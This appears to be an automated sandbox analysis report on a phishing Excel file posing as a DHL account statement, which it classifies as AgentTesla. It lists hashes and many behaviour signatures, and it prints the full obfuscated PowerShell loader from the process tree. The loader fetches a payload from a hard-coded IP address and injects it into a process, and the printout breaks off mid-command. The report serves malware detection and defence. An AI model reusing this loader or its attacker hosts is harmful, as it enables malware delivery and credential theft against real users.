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Windows
Analysis Report
DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx
Overview
General Information
| Sample name: | DHL ESTADO DE CUENTA - 7664557687757.xlam.xlsx |
| Analysis ID: | 1467966 |
| MD5: | e991e2f82fe86b23ae342b296a5b212d |
| SHA1: | 65cde8d0909a4646746db6fa4675559cd73b309a |
| SHA256: | 521e56cecd5dd355d23dcf9085f29499dc4580835a69222a13214873971e2dce |
| Tags: | DHLxlamxlsx |
| Infos: |   |
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Detection
AgentTesla
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AgentTesla
Yara detected Powershell download and execute
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Injects a PE file into a foreign processes
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 2948 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
EQNEDT32.EXE (PID: 1444 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 380 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\contr olfiredati nloverforx lammfile.v bs" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 1904 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Command " INVOkE-EXp RessIon ( ('oiL'+'li '+'n'+'k = Olshttp'+ '://91.92. 254.194/im ge/new-ima ge'+'_v.jp gOls; oiLw ebClient = New-Objec t'+' Syste m.Net.WebC lient; try { oiLdown loadedData = oi'+'Lw ebClient.D ownloadDat a(oiLlink) } catch { Write-Hos t OlsFaile d To downl oad data f rom oiLlin kOls -Fore groundColo r Red; exi t }; if (o iLdownload edData -ne oiLnull) { oiLimage Text = [Sy '+'stem.T' +'ex'+'t.E ncoding]:: UTF8.GetSt ring'+'(oi Ldownloade dData); oi LstartFlag = Ols<<BA SE64_START >>Ols; oiL endFlag = Ols<<BASE6 4_END>>Ols ; oiLstart Index = oi LimageText .IndexOf(o iLstartFla g); oiLend Index = oi LimageText .IndexOf(o iLendFlag) ; if (oiLs tartIndex -ge 0 -and oiLendIn' +'dex -gt oiLstartIn dex) { oiL startInd'+ 'ex += oiL startFlag. Length; oi Lbase64Len gth = oiLe ndIn'+'dex - oiLstar tInd'+'ex; oiLbase64 Command = oiLimageTe xt.Substri '+'ng(oiLs tartIndex, oiLbase64 Lengt'+'h) ; oiLcomma ndBytes = [System.Co nvert]::Fr omBase64St ring(oiLba se64Comman d); oiL'+' loadedAsse mbly = [Sy stem.Refle ction.Asse mbly]::Loa d(oiLcomm' +'andBytes ); oiLtype = oiLload edAssembly .GetType(O lsRunPE.Ho meOls); oi Lmethod = oiLtype.Ge tMethod(Ol sVAIOls).I nvoke(oiLn ull,'+' [o bject[]] ( Olstxt.444 6sabbbbbbb ewmadam/44 1.871.64.8 '+'91//:pt thOls , Ol sdesativad '+'oOls , Olsdesativ adoOls , O lsdesativa doOls,OlsA ddInProces s32Ols,Ols Ols)) } }S et Scriptb lock oiLli nk = Olsht tp://91.92 .254.194/i mge/new-im age_v.jpgO ls; oiLweb Client ='+ ' New-Obje ct System. Net.WebCli ent; try { oi'+'Ldow nloadedDat a = oiLweb Client.Dow nloadData( oiLlink) } catch { W rite-Host OlsFailed To down'+' load data from oiLli nkOls -For egroundCol or Red; ex it }; if ( oiLdownloa dedData -n e oi'+'Lnu ll) { oiLi mageText = [System.T '+'ext.Enc oding]::UT F8.GetStri ng('+'oiLd ownloadedD ata); oiLs tartFlag = Ols<<BASE 64_START>> Ols; oiLen dFlag = Ol s<<BASE64_ END>>Ols; oiLstartIn dex = oiLi mageText.I ndexOf(oiL startFlag) ; oiLen'+' dIndex = o iLimageTex t.IndexOf( oiLendFlag ); if (oiL startIndex -ge 0 -an d oiLendIn de'+'x -gt oiLstartI ndex) { oi LstartInde x += '+'oi LstartFlag .Length; o iLbase64Le ngth = oiL endIndex - oiLstartI ndex; oiLb ase64Comma nd ='+' oi LimageText .Substring (oiLstartI ndex'+', o iLbase64Le ngth); oi' +'Lcommand Bytes = [S ystem.Conv ert]::From Base64Stri ng(oiLbase 64Command) ; oiLloade dAssembly = [System. Reflection .'+'Assemb ly]::Load( oiLcommand Bytes); oi Ltype = '+ 'oiLloaded Assembly.G etType(Ols '+'RunPE.H omeOl'+'s) ; oiLmetho d = oiLtyp e.GetMetho d(Ols'+'VA IOl'+'s).I nvoke(oiLn ull, [obje